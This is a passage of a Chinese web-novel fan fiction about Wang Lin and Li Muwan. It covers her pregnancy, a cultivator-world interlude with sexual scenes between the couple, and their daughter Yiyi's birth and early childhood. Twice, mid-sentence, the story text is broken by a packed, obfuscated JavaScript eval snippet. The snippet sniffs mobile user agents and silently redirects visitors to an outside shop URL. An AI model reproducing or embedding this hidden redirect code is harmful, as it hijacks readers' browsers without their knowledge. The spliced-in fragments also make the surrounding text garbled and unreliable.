宽背上挂着的人埋入他颈侧,撒娇道:“婉儿累了,阿兄背吧。” “好。” “阿兄下次还带我来,好不好?” “好,带婉儿再来。” “阿兄,晚上想吃笋干。” “好,回去给你做。” “阿兄……” “……” 背上的人气息渐沉,话音越来越低,许是睡着了。 49.身孕 王林推了书院的工,书院里的先生念及他的讲学之道,只说若他何时想回去,书院仍会欢迎。 只是王林不想再离了李慕婉,既书院愿意,讲学他可半月去一次,或是更长时间,总归不会长住县城。 在王家村待着的时日,李慕婉以炼制丹药为主,王林则是在王家村接着写最后一卷话本,许立国半月来一次,当日往返,拿了话本就走。 李秋池的没几日便回了京城。只是这念想有无断干净无人可知,王林听闻许立国所言后满不在意。 两人在竹林小院时而抚琴,时而对弈,又或是倚在书案前温书。 只是偶尔,温着温着人影就移到了榻上,又或者王林不想在榻上,李慕婉也由着他,只是事后便叫她后悔做此决定。 原来书生并非都正经清流,至少王林在床笫之欢上,并不像读书人含蓄,花样远比李慕婉所知多得多,磨人又叫人脸红难以启齿。 他似乎陷在温柔乡无法清醒,也不想清醒,终日耳鬓厮磨的缱绻,李慕婉受了不少累。 晚春将至,她近日总觉昏沉,卯时起不来,要王林叫醒好几次,睡梦中的她只觉身子被人亲吻着,睁眼后王林的轮廓近在咫尺。 嘴唇带着酥麻,眼神透着质问,可王林却一本正经盯着她,仿若那般粘腻垂涎她的人不是自己。李慕婉自是没有他这种本事,脸颊熟透了。 “不这样你不肯醒。”王林审视着她,只以为是她未休息够,想带人早起去竹林透透气,快入夏的早雾变得浓厚,一出去便能惹上一身湿气。 可她睡得委实比以往要多,王林念及她身子,只能叫醒。 李慕婉伸出双臂,可怜兮兮道:“阿兄抱我吧,委实无力。” 她从未有过长达这么久的困意,如何睡都睡不够,加之胃口也变了,每餐只吃几口便有反胃征兆,她便再吃不下。 王林见状担忧,寻思叫醒吃过饭后带她一道去镇上诊所把脉开药。 李慕婉思量着,也有些时间没到药铺探望,药房炼好半月的丹药也没送出去,索性努力强撑着起身,衣裳是王林给穿的,发是王林梳的,发簪,描眉,点妆都是他亲力亲为。 周英素见她这几日精神气不足,杀了只鸡放些补气凝神的药材一块煲了汤。 用饭时,王林给她盛了碗鸡汤,浓厚香醇的味道浸入鼻腔,李慕婉却只泛恶心,捂着心口便跑到院外干呕了几次。 怪哉,李慕婉身体一直很好,周英素寻思着,莫不是…… “我出去看看去,老头子你先吃。”她起身时面容带着一股喜悦。 屋檐下李慕婉整个背弯了下去,王林面带焦急,双目里的疼惜溢出来,掌心抚平她起伏的气力,温声道:“婉儿,可好些了?” 李慕婉难受得说不出话,只觉吐出的都是苦水,双眼湿漉漉的。 “婉儿?你还好吗?”王林气息沉重,满是担忧,瞧着她这难受模样,心都要碎了。 周英素走过来,递了碗水,问道:“婉儿,你的月事可是推迟了?” 李慕婉脑子涌重,漱口后直起腰靠在竹椅上,回想道:“是有些日子了……” “娘,婉儿是胃里难受,这与她月事有何关系?”王林不解。 月事晚了一个多月,她起初没有不适故而没太在意,周英素闻言很是肯定道,“铁柱不要担心,婉儿这是有喜了,你要当爹了。” “什么?”李慕婉和王林面面相觑,惊喜交集,王林眼色里的担忧转而错愕,两人都愣了良久。 “傻孩子,”周英素说,“这怀了身孕是要嗜睡,你而今这般难受是孕喜反应,熬过了就好了。” 小夫妻还有些没缓过神,李慕婉给自己搭起脉,脉象往来滑顺,如有珠滚玉盘之状,确实是喜脉之象。 王林注视着她的反应,李慕婉侧眸看他,缓缓露出浅笑,眼眉的神色泛起温婉,王林意会其中之意,欣喜若狂地搂过李慕婉:“婉儿有身孕了?” 她被抱得紧,王林臂弯很暖很结实,锢得她满是安全感:“阿兄……” 王林俯身与她视线平齐,双手紧紧抓着她双臂,“婉儿你要当娘亲了,我要当爹爹了。” “我们有孩子了。” “嗯。”李慕婉看着他眸底的喜悦,初为人母的她情绪满是复杂,但更多的是喜悦。 她与王林有了自己的孩子,一切话语尽在不言中,她竟然忘了该说什么,望着王林眼中的爱意与柔色,她眼眶逐渐湿热。 周英素在一旁呢喃道:“我们王家也添丁了。” “我要当爹了。”王林吻过她眼睛,忽而抱着人转了两圈,反复念着,“婉儿,我们有孩子了……” “快,快放下来,”周英素制止他,拍了两下王林肩膀,“婉儿不舒服,又是刚怀上,你不能这么折腾,这孩子……” “哦,”王林手足无措放下人,“是我忘了,对不住婉儿,你可还会难受?” 李慕婉平息一会儿,那股难受已经缓和许多,她面带笑容,温婉说:“无碍,娘,婉儿已经好很多了,咱们进去吧。” 王家人沉浸在李慕婉有身孕的喜悦里,周英素已经开始筹划要给她做养身的吃食,王天水也没闲着,只道要给孩子刻很多很多玩具。 王林是喜悦的,可也是无措的,他早已做好想要一个孩子的准备,却不曾想来得如此快。 用了饭没多久,周英素让王林带李慕婉回屋歇息,走到廊下时,又单独拉过李慕婉说着话,李慕婉小脸泛红,乖乖点头应下。 西厢房内王林收拾了床铺,李慕婉进来时,他紧张得过去扶着她,眼睛总是往她小腹瞟,仿若要与那腹中的小生命交流,李慕婉摇摇头,面挂笑意。 “婉儿来,当心一些。”他动作极其轻柔,就好捧着珠玉,重了轻了都不行。 “倒也没那么娇气,”李慕婉笑说,“阿兄,你不必如此紧张。” 他也尝试着克制自己,可内心的雀跃一时半会平复不了,他也不再想要压制。 “婉儿,我此刻很心足,”他让李慕婉坐在榻上,自己蹲下身望着她,深情说:“此生与你相遇,相知,相爱,便是上苍对我王林的眷顾,你是天底下最好的女子,也是我唯一所爱的女子。” 他诉说着情深,真挚里有些迷乱,李慕婉低头,额间与他相抵,“王林,与你成婚,婉儿也很幸福。” “有爹娘陪伴,哥哥安好,与夫君心灵相通,还有我们的孩子。”她抚着平坦的小腹,闭眼享受着此刻的幸福。 “婉儿,”王林问,“方才娘与你说什么?” 李慕婉躲开视线,状若平淡说:“娘说,有了身孕,要让你克制一些……” “克制什么?”王林拧着眉心沉思须臾。 “不能同房……”李慕婉难以启齿,推了推他,“你说克制什么?” 王林意会后不免轻笑,抓着她抵在胸膛的手放在唇瓣,“好,听婉儿的。” 弱冠之年,年轻气盛的,火气又旺,要让他克制,倒是有些难了,不过为了他的婉儿和孩子,他委屈委屈,忍个一年也可。 “你可有哪里还不适?”王林生怕她难受,眼珠子一直盯着她的反应,李慕婉困意上来了。 “阿兄,我想睡会儿。” “好,我陪着婉儿。” 李慕婉入睡后,王林一直守在榻前,从得知喜讯后一直到此刻,身上那股热流持续在转动,看着她安宁的睡颜,心中暖意泛起,朝那水润的红唇轻轻落下一吻,李慕婉微动,侧了侧身。 王林怕扰着她,轻盖上被褥,掖紧被角,蹑足走到屏风外的黄花梨长木桌上。 白纸摊开,他执笔落下,剩下的第四卷即将完结,把这最后一卷稿子写完,便可全身心的照顾李慕婉和腹中胎儿。 王林从镇子上请了大夫来为李慕婉把脉,开了些安胎的药房,李奇庆得知妹妹喜讯后,第一时间赶来王家村探望。 许是在孕中她情绪波动不自觉变大,见着哥哥便眼含热泪,李奇庆还以为她受了什么委屈,睨着眼看王林,仿若要生吞了他。 院内气氛尴尬,王林解释缘由,李慕婉也帮忙说话,李奇庆神色才有所缓和。 “哥,阿兄对我很好,怎会叫我受委屈,”李奇庆擦过她余泪,她继续说,“是婉儿见着哥哥,情不自已,故而才哭了鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074582|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,哥,你许久不来看婉儿了。” “铺子忙,前几日本想着要来的,燕州那边药商订了批急的药材,这才耽误了。”李奇庆从怀里拿了些药,“王林说你这些日子食欲不振,祖上手札有记,这是从前祖母孕喜反应用过的药方,爹曾说过,娘亲怀婉儿的时候也会如此,用这药方能有所缓解。” 他把药拿给王林,嘱咐他每日煎熬,王林细心记下,王家用过饭后,李奇庆与王林在院里梅枝下对弈棋局,李慕婉抚着琴,琴音漫在竹林上,二老各自忙着手里的活计,看着孩子们,日子很是惬意。 已过几月,李慕婉小腹隆起,行动稍有不便,去哪王林都得陪在身侧,李慕婉说无碍,可王林不放心,养得越发仔细。 王家村又入了秋,大夫说她腹中是个女胎,王林又高兴了好几日,周英素开始备着女婴的衣裳。 李慕婉倚在王林怀里,似水温柔问道:“阿兄喜欢女儿?” “只要是与婉儿的孩子,我都喜欢,”王林说,“若是女儿,定会像婉儿一样温柔好看。” 李慕婉含着浅笑,“那倒未必,说不定会像你。” 两人憧憬着日后,王林抓着她小手抵在心口,“等她长大些,我教她读书写字,婉儿教她抚琴,识药。我给她做个小马,就放在院里梅树下。海棠花下再搭个秋千,我推你们娘俩。若她长大想经商,跟着兄长我也没意见,只要她喜欢,做什么都可以。” “好,听你的。”李慕婉脑子浮过画面,可是眼下提这些尚早,“阿兄,该给我们的孩子取个什么名字呢?” 这个他倒是还没想,王林若有所思,拿起一支笔,思虑良久,李慕婉撑着脸颊端详他,也不扰他思考。 只见他落笔流畅写下二字,搁了笔后将那张纸递到她跟前。 李慕婉接过,轻念着:“依依?” “嗯,”王林伸手放到她小腹上,轻轻抚摸着,“一生一世一双人,王依依。” “婉儿觉着如何?” 覆在腹部的掌心是暖热的,李慕婉看着那两个字,很是满意,“依依,甚好。” 见她喜欢,王林凑脸到她小腹,蹭着脸柔声说 :“依依要乖些,让娘亲少受些苦好不好?” 李慕婉掩着笑,“依依会听爹爹的话,对不对?” 小腹突然动了下,两人愣了须臾,又动了一下,李慕婉惊喜道:“她动了,阿兄,你说她是听懂了还是喜欢这个名字?” 王林哄着她:“定然是听懂了,也喜欢这个名字。” 望着她的面容,还有隆起的小腹,王林恨不得把她嵌入怀里,可是心里又谨记着母亲叮嘱。 李慕婉感受到他目光里的炽热,虽说每夜同床共枕,他忍了数月,夜里还得趁着李慕婉睡下出去透凉清心。 李慕婉为此还为他特意研制了清心丹,可是王林怕她操劳,没让她多做。 夏日他冲的凉水,如今入了秋,天气渐凉,李慕婉能听得到他说话间还带着鼻音。 李慕婉心疼他,“阿兄,你往后不要再洗冷水了。” “无碍,”王林不想多谈这事,“你眼下不能多思。” 她对上炽热,说:“阿兄,我在医书上曾看过,孕期并非不能同房,过了前几月胎像稳了,也可以适当同房,只要……” 王林专注听她继续说,“只要轻一些,无妨的。” 听闻此话,他是该松口气的,可是他不忍因自己这无足轻重的私念伤害了她和腹中胎儿,只能把那些欲望尽数吞下。 喉间却不自觉滚动几下。 “婉儿心疼我,我自是知晓。”王林抚着她脸颊,指尖嵌入发丝里,另一只手抓过她手腕,沿着腰封下移,李慕婉触到它,下意识想抽回手。 “婉儿帮我吗?”王林盯得她双颊发热。 李慕婉若有似无“嗯”了句,隔着层布衣,掌心半握着。 身前的人呼吸重了,仰起脖颈阖上了眼,李慕婉感受到掌心泛着热。 王林闭了眼,屋里一阵轻搅后又恢复了平静,李慕婉衣襟开了,王林立在屏风后换下长衫,他扣回衣领,望着身后模糊的身影,陷入沉思。 50.消散 修真界桃林处,接17章后续。 *** 窥视镜的禁制封锁灵力之后,王林与李慕婉体内的灵力仍在攀升,王林闭关多月在压制庞大的灵力。 李慕婉立在莲花池旁,摇了摇头。 每次与王林亲近时,那断断续续的记忆总会涌出来。见着在打坐犯愁的王林,李慕婉也不忍上前打搅。 自前半月,王林终是醒悟这体内庞大的灵气从何而来,阴阳交合万物生,二者双修,灵气充盈,修为大涨。 若是体内灵力攀升他大可闭关吸收,只是李慕婉体内的灵力攀升随之会引起记忆复苏,故而王林这些日子再不敢直视她,生怕自己会克制不住。 他暗下决心,若不能找到压制尘封的记忆,减轻她的痛苦,他决计不会再与李慕婉灵修。 眼见王林已经闭关多时,却迟迟没有动静,李慕婉仰头看着窥视镜接连叹气。 那些记忆里,全是他的身影,是他一次次以性命为她寻求复生之法,那股强大的执念如浩瀚潮浪涌入她心底,李慕婉没法当做不存在,越是如此,每每感受到他记忆里的伤痕便会痛心入骨。 “师兄已经闭关数月,”李慕婉站在莲池旁望着王林闭关的密室摇了摇头,“清心丹能压制欲望,可是以情而起的欲,即便是清心丹也难洗净,若非因我体内记忆复苏,师兄也不会逼得自己这般难受。” 密室的王林打坐吐纳,心却很难静下来,每回想起那日李慕婉嘴角溢出鲜血的场景,他的心便似撕开的天幕,绞痛无比,他不能允许任何伤害她的可能存在。 到底要如何才能找到解决之法! 进入窥视镜的那缕神识传入李慕婉额心,凡世的一幕幕划过脑海,温婉的面容浮起笑容,很快又陷入痛苦。 密室的王林通过神识能感受她变化的情绪,虽一直都在闭关,却一直留意外边的李慕婉。 “婉儿?”王林心疼终是不忍,睁了眼猛然从密室瞬移而出,李慕婉只觉身前虚影突现,身躯被他紧紧拥着。 “师兄,你出关了。”李慕婉半张脸贴在他肩头,已有数月未见,彼此气息还是那么熟悉。 “婉儿,我一定会寻到解决之法,阻止你体内记忆复苏带来的痛苦。”王林声音暗哑,捧着她的脸一遍一遍摩挲着,心潮起伏间又忆起那日的情景,心如刀绞。 “师兄,你不必如此紧张,你闭关这些日子,婉儿脑子时不时也会出现一些从前的记忆,可婉儿也不那么难受了,一定有法子的。”她指尖触过那紧锁的眉心,满眼心疼与愧疚。 窥视镜的画面再次闪过,李慕婉回眸仰着莲池上空,王林寻着她视线而去,只听她悠然说:“师兄,我们去凡世走一走吧,可好?” 这一处禁制布下的桃林里灵气环绕,加之灵修带来的浩瀚灵力,李慕婉身体无法承受,若去凡间走一遭,或许另有解决之法。 思虑过后王林点头:“好。” 李慕婉视线还未移动,王林察觉出她的心思,宽袖一挥,两道光影入了窥视镜内。 *** 王家竹林小院,两具仙风道骨的身影悬在竹林上空,李慕婉将穿梭窥视镜中的疑惑道出:“师兄要来的凡世,怎么是这?” “婉儿想来的不是这儿吗?”王林声音温柔,目光却落到小院内。 院里一道男子身影从西厢房出来,身侧扶着位大腹便便的女子,女子发髻挽起,一身素衣难掩其身上温婉清莲之气,二人看着情深意浓。 男子扶着她在白梅树下的藤椅躺下,盖了一层薄褥,暖阳照着身子,惬意随来。 男子俯身朝女子面颊轻点,再拖了一张竹椅坐下,与她挨着。他手里捧了本书,翻页后与身侧的人相视而笑,又再落回书本上,那是第四卷话本,他一字一字念给她听。 起初李慕婉是要自己看的,可王林说也要让腹中的依依听见,就当给她讲的故事,哄她睡,睡着了便不会踢娘亲肚子了。 *** “师兄怎么知道婉儿的心思。”李慕婉向往地望着那画面,白梅树下的两个身影,他们再熟悉不过。 王林牵着她的手紧了紧。 檐下冒出一个人影,周英素口中念叨要去后院抓只鸡给李慕婉补补身子,喊着堂屋正在雕刻的王天水来帮忙杀鸡。 王天水放了刻刀出来,与周英素一前一后去了鸡圈。 “爹,娘……”竹林上空的王林身躯微震,即便千年前他放父母魂魄去轮回,是放下了,可如今再见着活生生的爹娘,心中缺失多年的亲情疯狂涌动,随着他的气息波动,白发飘动,竹林起了狂风。 白梅下的王林给李慕婉掖了被角。 “师兄,爹娘这一世过得很好。”李慕婉指尖滑入他掌心,传递一种力量,那力量很温柔,能够安抚他的一切情绪,竹林的风势小了。 王林眼眶湿润,将怀中的人搂紧,又见院中凡世的王林与李慕婉长相厮守,父母相伴,他们还有了自己的孩子。 这一世他的人生圆满,天伦之乐,那三千年走过的万万里,远赴仙罡虚无中几十年的长眠,最终都有了归处。 他似乎明白了,牵起李慕婉的手,神念一动,二人身影落在赵国一处悬崖上,云霞滚滚,日落满照。 “婉儿,是我让你感受到我的痛苦,以后都不会再有,我保证,即便你体内再次复苏沉睡中的记忆,你都不会再痛苦。”王林从身后环过她细腰,宽袖随风鼓动。 李慕婉侧头贴着他面颊,什么都没问,只是坚定说:“师兄,婉儿信你。” 夜幕沉下后,王林再次挥手,二人身影消失在悬崖之上,赵国京城一处客栈里,一对道侣幻化成凡人模样,却难掩盖身上的仙尘气质。 京城的夜市繁闹,几千年来再没感受过这些人间烟火气,李慕婉倚在窗台,望着楼下远处的灯火,满是向往。 王林走近她身侧,摸透她的意图:“婉儿,陪我出去走走吧。” “嗯。”李慕婉回眸,笑意撞入怀里。王林牵起她手,两人出了客栈往热闹的市集去。 “众生百相,多久没看过这凡间烟火了。”王林感慨,身旁卖糖葫芦的小贩经过,她注意力被吸引而去,王林唤住小贩,买下一串,递到她口中。 李慕婉等了须臾才张口咬下一颗,甜蜜的味道冲击着味蕾,明眸弯起。王林宠溺抚摸着她的发丝,入眼之景皆是她。 周边嘈杂喧闹入耳,天际散出的烟火明亮,都不及他眼前风景。 人潮拥挤中,王林臂弯把人护得紧,丝毫没让旁人触碰到她分毫,戏楼里两列府卫开道,驱赶着人群。 两人被人流挤着,王林无奈施了禁制,三丈内凡人无法靠近却又察觉不出其中奥妙。 “闲杂人等让开。”府卫手提大刀,百姓闻声闪避,只见戏楼出来一个女子身姿艳影,娇柔百媚,身侧不少文人墨客趋之若鹜,她手中蒲扇微动,享受着却又满是不屑。 “这些人是?”李慕婉接触凡世比王林要少,不解问道。 王林目光收回,云淡风轻说:“许是京城哪家官眷,仗着势力摆威风,无关紧要之人,婉儿,咱们去别处吧。” “好。”李慕婉只觉一股似曾相识的感觉绕过心头,却又说不上来。 那立在台阶之上,众人簇拥的李秋池望着人群里出尘的两道身影失神,蒲扇掩盖的半张脸下藏了不解,她呢喃道:“王林?李慕婉?” 远见两人又入了一处戏楼,店铺门前的灯笼罩着光影,她看清了两人面容,确定无疑。 只是他二人为何会到了京城,李慕婉又因何敢再入京城? 思绪被身侧文人吵远,李秋池无心应付,上了轿撵消失在灯火中。只是之后再派人在京城搜寻却都无人所知,好像两人的痕迹被抹去了一般。 王林与掌柜要东窗下的位子,掌柜上了果子酒,台上戏班子开始奏乐,李慕婉一直盯着他看,问:“师兄,喜欢听戏?” 从前不大清楚他都喜欢什么,只知晓他对修炼充满执着,后来回了云天宗便酒壶长伴身侧,自己苏醒后与他对弈棋局,喝酒抚琴,他竟然还喜欢听戏。 王林浅浅一笑,摸了摸李慕婉的鬓间,像回忆一件很久远的往事,李慕婉低头含笑,知道定又是他这些年来的经历。 “婉儿听听,若是喜欢,往后我们常来。”王林满眼柔情看着她,戏曲声声入耳,宽袍被窗外袭入的风卷起,他挪了挪位置,把李慕婉藏在身前,挡下身后的冷风。 李慕婉掩着笑,侧头瞧他,缓缓靠在他肩头,风肆意舞动他的银发,“师兄,婉儿不冷。” 以他们修为,自然能抵抗这种寒意,王林闻言双臂缠得更紧了。 李慕婉扫视周围,生怕别人瞧见二人举止,她提醒着,“师兄,让人瞧见不好。” “婉儿尝尝这果子酒吧。”王林稍微松了力,却未曾收回手。 果子酒芳香浓淳,入口是甜的,辛辣不足,饮下后口齿留香。 一位小生角色耍着软剑下台与看客互动,台下看客骚动,纷纷鼓掌雀跃,李慕婉觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090818|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着颇有意思,看那小生走得近了,从耳侧取下一朵鲜红的牡丹,双手呈到李慕婉跟前。 王林懒散的眸子逐渐阴沉,藏在李慕婉身后,而那人还未察觉她身后的人正窥视自己。 李慕婉巧笑嫣然,抬手要去接小生的牡丹,就要碰着时,温热的大掌裹着她手心止住了她,王林睨着那角,小生无由来的背脊寒凉,李慕婉似乎察觉暗潮中有股疯狂躁动的杀意要涌现,她随即朝那人摇了摇头。 “师兄?”李慕婉关切着他。 待人走开了,王林若无其事地捧起酒杯喝下一口,贴在耳侧饶有些警告的意味,“婉儿,喜欢牡丹?” 牡丹国色,过于妖艳,李慕婉更喜欢清莲,他不是不知道的。 “师兄,我不要别人的花就是了。”李慕婉侧身抚着他发,像是在安抚一头时刻要躁动的猛兽。 戏曲渐入高潮,酒壶空了,又重新换了一壶,他饮不醉,只是与李慕婉杯酒言欢,她脸上笑容就像曲子,频频起伏跳动。王林爱看她笑,爱她的灵动和烂漫,就仿若在修魔海时的她一样。 王林神念一动,京城郊外的山野,漫山的牡丹,在无人注意的深夜,从城外沿至城内,街道小巷,亭台楼阁,宫廷府邸。朱雀街戏曲彻夜余音绕梁,满城牡丹悄无声息迎露盛开。 晨阳洒落窗缝,客栈顶层的厢房处,王林系着腰带,李慕婉开了窗,清风拂面,她阖眼感受着清晨的气息,仰头时脖颈上几处红痕颇为明显。 空气中漫着一股浓浓的香味,她睁了眼,俯瞰时,街道的牡丹全开了。 她回眸看了眼屋内的王林,他正面不改色束着发。 随即她便明白了,嘴角扬起笑。 束发的白发男子也在藏着笑。 *** 两人在京城隐匿了修为,与凡人无二,两月后又周游到他国,寻了一处凡间桃林,王林幻化出一座茅屋,与李慕婉在这度过四季。 在凡间游历这些时日,他没再克制自己与李慕婉亲近,以往情到浓时,欢愉的最后一刻,记忆便会让她陷入痛苦,如今李慕婉脑中仍会涌现记忆,只是那种锥心之痛已然消散。 之所以她受到记忆影响而产生的痛心,原是都来源于王林,那些历程成了他永不磨灭的记忆,是喜是乐,是痛是苦。 而王家小院那幕温馨与圆满,最终抚平了他内心深处的伤痛,连同那复活她的千年之苦一同尘封。 该存在的仍会存在,但不会再因此而痛,他修为能克制,可李慕婉不能,故而感受到记忆中的痛时,便会全盘牵引而出。 他们身心已属于彼此,自然能感受彼此的七情六欲。 深秋的桃林早没了花瓣,王林以法术幻化,桃林下铺满粉红花瓣,天地之外,无人打搅。竹椅下散落了混乱的衣裳,桃枝上悬了两根白色发带,墨发铺着宽背,半抹春光乍泄。 王林双臂撑椅,一手捏住她后颈,霸道的力量下压,竹椅发生声响。 交缠的发丝绕紧,锁骨到腰腹隐约可见几处齿印,发带缠上李慕婉双眼,王林大掌捏着她双腕举过头顶,看着他近乎恶狠的肆掠。 “婉儿,我们也要个孩子吧。”王林热气贴耳,“如此,桃林里便不只你我了。” “好不好?” 修真界修为越强,越不易有孕,以他二人修为若想要个孩子,怕是不易。 可李慕婉最见不得他难受,抚平他的眉头应道:“好。” 他那古神躯体耐力持久,若要生个孩子,两人不免得要努力些了。 身上的人时而温柔时而蛮劲,粉色花瓣漫天飞舞,飘落到二人身上,似盖了一层粉被。 酣畅后的汗水混着附着全身,桃林外下起大雨,闷雷掩盖了沉重的喘息。 她受不住。 “师兄,停,停一下……”细长手臂勾着他脖颈,银发散下来遮住他轮廓。 王林更急促了,在欢愉最后一刻,随着惊雷炸响,火蛇绕过天际,他看清了她承受不住的神色。 “这雨下得急,等雨停了,我就停。”他状若商量的口吻。 李慕婉半信半疑,回应着他。 可他明明能够操控雨势,曾经他以山崩之力带她看火山喷发的记忆犹如昨日。在经历他几次掠夺之后,李慕婉后悔答应他了。 山外的雨子时就停了,可唯独桃林的雨下到天亮。 一夜的翻云覆雨,把她从凌乱里无情的摆弄,他这样要强的人,却为了她孤寂了千年,李慕婉躺在他胸膛,昏昏沉沉入梦。 51.依依 王家村凛冬将散,李慕婉腹中发力,王林在产房外焦急踱步,周英素和王天水频频安抚,李奇庆也心急如焚,却未曾表露,拍着王林肩头。 厢房内痛苦声一阵一阵传出,每一声都如一根尖刺,直插王林的心房,心疼坏了。 持续一个时辰后,李慕婉满头大汗,力气消散,取而代之的是一声响亮的啼哭,屋外几人面露喜色,周英素忙说:“生了生了,这是生了……” 王林箭步踏入,再也无法隐忍,猛然推了门,刚入屋子,一股浓厚的血腥传来,木盆血水骇人,稳婆手里的剪子烧得通红,抱着新生儿正欲剪下脐带。 李慕婉气息微弱躺在榻上休憩,王林目光只在她一人身上,看着满脸苍白,被汗水浸透的人,他心都碎裂了。 “婉儿,”王林一遍遍抚摸着她面颊,眼眶含的热泪毫无顾忌留下,“我的婉儿受苦了。” 李慕婉勉强牵出丝笑意,此刻的她太累了,连说话声音都是飘的,王林明白她想说什么。 “我知道,我都知道。”王林哄着她,产婆把孩子抱到床榻,两人打量着这个小生命。 王林大掌轻放婴儿身上,一只手便有那么大,“依依,娘亲受累了,以后都要听娘亲的话。” “怎么这么小只?”李慕婉恍惚,问得可爱,“王林,你抱抱她。” 王林不敢抱,婴儿身体极软,垂眸盯着她紧握的小手。手足无措中手指放入半握的掌心里,这是第一次与她触碰,他尝试着与女儿更近一步的接触。 李慕婉目露慈爱之色,视线从王林身上移到王依依的小脸,她似乎对这父母很是满意,裂开嘴笑着,张牙舞爪的。 稳婆提醒要给孩子喂奶,王林才退了出去。 周英素给她杀了鸡补身子,王家人各司其职,为这母女忙前忙后乐在其中,李奇庆看了外甥女,这外甥女见着他便笑,对他这个舅舅好似也很满意。 李奇庆留了个长命锁,算是送给孩子的出生礼。 在照顾孩子上两人都没有经验,只能一边问着周英素一边摸索,除去孩子睡觉喝奶的时间,其余时间几乎都是王林在照顾。 王依依哭闹的时候他总是不知所措,摇篮里的王依依皱着小脸,似在蓄力要哭,王林也跟着皱眉,她小脚丫用力蹬着,他不知该如何是好,李慕婉在榻上盯着他看,却迟迟不出声。 只是面容上噙着若有似无的笑意,王林没退却,掌心拖起王依依,她的头还没王林的掌心大,他朝榻上休息的李慕婉投去目光,小家伙使劲挣扎着。 “婉儿,她是不是饿了?” 李慕婉撑起身靠着床头,检查了一会儿,“不是饿了。” “给依依换件干净的衣裳吧。” 王林微顿,而后笑了笑,拿了件新的衣裳给她换上,只是手生得很,但总算也是完成了。 “阿兄,婉儿从未见过你这副样子。”李慕婉歪头打量他,难得见他发窘的模样很是好笑。 “娘说熟能生巧,我能学。”他带着笑却很正肃,“我多学一些,婉儿就能轻松些。” 换了干净衣裳的王依依不再哭闹,被王林哄睡着了,李慕婉望着摇篮边哄睡的人,不由心生暖意。 王依依一哭,王林便手足慌乱,盯着摇篮的小人,面色很是凝重。他想哄,却只能去抱,可周英素说过,不能一哭就抱,会形成习惯,往后会更辛苦的,他便又拿了拨浪鼓哄她玩儿。 可拨浪鼓不新鲜了,她又闹着别的,王林只能盯着她紧皱的小脸,无助望着李慕婉。 王依依哭得凶,两人心都要碎了,无奈只能抱着哄,还没有他手臂长的身子,软呼呼的。王林贴着她小脸,王依依止住了哭声,盯着他笑。 “这么小就懂得黏人了。”王林指尖戳了戳肉嘟嘟的脸蛋,王依依逗乐了,踢着小腿跟他玩儿。 “她喜欢爹爹。”李慕婉下巴抵着他手臂,抬指点了点她鼻尖,她似乎很喜欢这么玩儿,一碰鼻尖就笑。把两个人看的心都化开了。 夜里王依依哭闹,王林撑着眼皮从摇篮抱起,可即便他学的再多,喂奶这事只能李慕婉来,瞧着半夜醒来的她,王林心疼着,只能一遍遍抚着她发,直到怀里的王依依睡着了,夫妻俩才能继续安寝。 李慕婉出月后,会抱着孩子在院里晒日,偶尔王林去挑水,也会抱着或者背着王依依一块去,小孩对外物总是怀有新奇。 人家哄孩子是唱歌谣,王林哄孩子是念诗文,王依依听不懂,但会摆着小藕臂去抓他的脸,王林也不躲,任她蹭着,只是那力道不大,也弄不疼他。 春去秋来,王依依从她臂弯里的襁褓婴儿,已经开始会咿呀学语。 小依依坐在王林脖子上张着小臂,王林抬着手臂扶着她,一手牵着李慕婉,三人走在村口的油菜菜花小道上,村口那座溪水上的风车滚动着,山鹰盘旋峰峦之上,空气中带了些花香。 一家三口刚从镇子上回来,王依依心里还念着舅舅给的糖,嘴里念着不太清楚的话:“娘亲,娘亲,舅舅,糖……” “依依想吃糖了?”王林一把给她举下坐在手臂上。 “爹爹,”那小手揪着他衣领,紧紧攥着,“糖。” 王林没给她吃太多,只是折了枝小花分散了注意力,王依依拿了花看得专注,早就忘了。 在王家村久居的日子里,王林偶尔会受邀到外地讲学,一去便是个把月,李慕婉要照顾家中老小自是走不开,况且她也有自己药房里的活要忙。 虽不在一处,可彼此思念不会停,只是把那份思念倾注在其他事物上。 王依依又长大了些,李慕婉在药房忙碌时,她也会打打下手,与其说帮忙不如说添乱,可李慕婉要培养她动手能力,也是耐心教着。 偶尔她会在院里扑蝴蝶玩,也会趴在周英素腿上细细看她做女工。 还要吵着祖父给她雕小马,家里人都宠着她,王天水给她做了许多木雕小像,都被她摆在院里的置架上,够不着就喊娘亲。 王林家书里说了要回来,李慕婉给家里人读信时,三岁的她听得不是很懂,但是却听懂了爹爹要回来,等着的日子每日都要问上一句。 “娘亲,爹爹回来了吗?” “娘亲,爹爹什么时候回来?” 她对时间还没有概念,李慕婉会说,过几日,过两日,明日,今日。 “今日回,依依想爹爹了?”李慕婉蹲身抱起她。 听得“今日”,她便知晓日落前爹爹就会回来了。 “想,娘亲,咱们是去村口等爹爹吗?”她抓着李慕婉发丝玩。 “嗯,现在就去,爹爹看见依依定然会很高兴的。” “爹爹说回来的时候要给依依带糖葫芦的。”每次临走前王林都会许诺给她带不同的东西回,有时是糖,有时是玩具,还会给她带小娃娃看的书。 她最惦记糖葫芦,平日李慕婉管得紧,不叫她吃多了蛀牙,也只有偶尔还会纵着她。 “那咱们是去等爹爹呢,还是等糖葫芦呢?”李慕婉抱着她往村口去。 